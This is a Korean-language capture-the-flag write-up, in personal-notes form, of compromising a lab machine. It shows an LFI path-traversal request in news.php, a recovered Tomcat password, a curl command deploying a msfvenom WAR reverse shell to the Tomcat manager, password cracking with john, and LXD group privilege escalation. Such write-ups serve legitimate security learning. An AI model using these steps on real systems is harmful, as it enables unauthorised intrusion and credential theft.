풀이 시간


초기 침투

[서비스] / [취약점] / [CVE 또는 기법] 요약

포트 스캔

22
80
8080

사이트 하단에 megahosting.php 발견 hosts 등록

news 메뉴 접속하면 news.php?file= 파라미터가 존재함 file 파라미터에서 LFI 취약점 발견 ash 사용자가 존재함

news.php?file=../../../../etc/passwd

8080 포트는 톰캣 관리자 페이지 동작 tomcat:tomcat, admin:tomcat 디폴트크리덴셜은 로그인 실패함

22번 포트가 열려있어 ssh 키 추출 시도했으나 ash 디렉터리 접근이 불가해서 그런지 실패함

news.php?file=../../home/ash/.ssh/id_rsa

tomcat-users.xml 파일을 읽으려고 했으나 passwd 파일에서 확인한 /opt/tomcat/ 경로에서 파일 읽는 건 실패하였음 /etc/tomcat 경로도 실패함

톰캣의 설치 경로는 배포판 패키지 설치와 직접 설치에 따라서 조금 다름 우분투/데비안은 /usr/share/tomcatN/etc/ CentOS/RHEL 계열은 /etc/tomcat

요청

news.php?file=../../../usr/share/tomcat9/etc/tomcat-users.xml

응답

HTTP/1.1 200 OK
Date: Tue, 25 Aug 2026 15:52:06 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2325
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

톰캣 관리자 페이지는 2개로 나눠짐 /manager/html : 애플리케이션 배포/실행 역할 /host-manager/html : 호스트 구성 변경

manager/html는 로그인 실패함 hostmanager 경로는 로그인 가능하지만 배포 기능이 없음

tomcat-users.xml 파일에 manager-script 권한이 있고 /manager/text 경로 접근이 가능하면 curl 명령어로도 배포할 수 있음

msfvenom으로 war 파일 생성하고 업로드함

리버스쉘 연결해 초기침투

/var/www/html/files 경로에 백업파일 존재함 비밀번호가 걸려있음

ssh2john 사용해 해시 파일로 만들고 john the ripper로 크래킹 admin@it 확보

su ash 로그인

id, groups 실행하면 lxd 그룹인 것을 확인

이후 과정은 lxd privilege escalation 문서 따라함 https://hg2lee.tistory.com/entry/Privilege-Escalation-Using-LXDLXC-Group-Assignment

<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

권한 상승

[misconfiguration 또는 exploit] 요약

└─$ curl -u tomcat:'$3cureP4s5w0rd123!' -T shell.war "http://10.129.60.33:8080/manager/text/deploy?path=/shell&update=true"  

막힌 포인트

[열거 누락? 기법 몰랐음? 방향 잘못?] 요약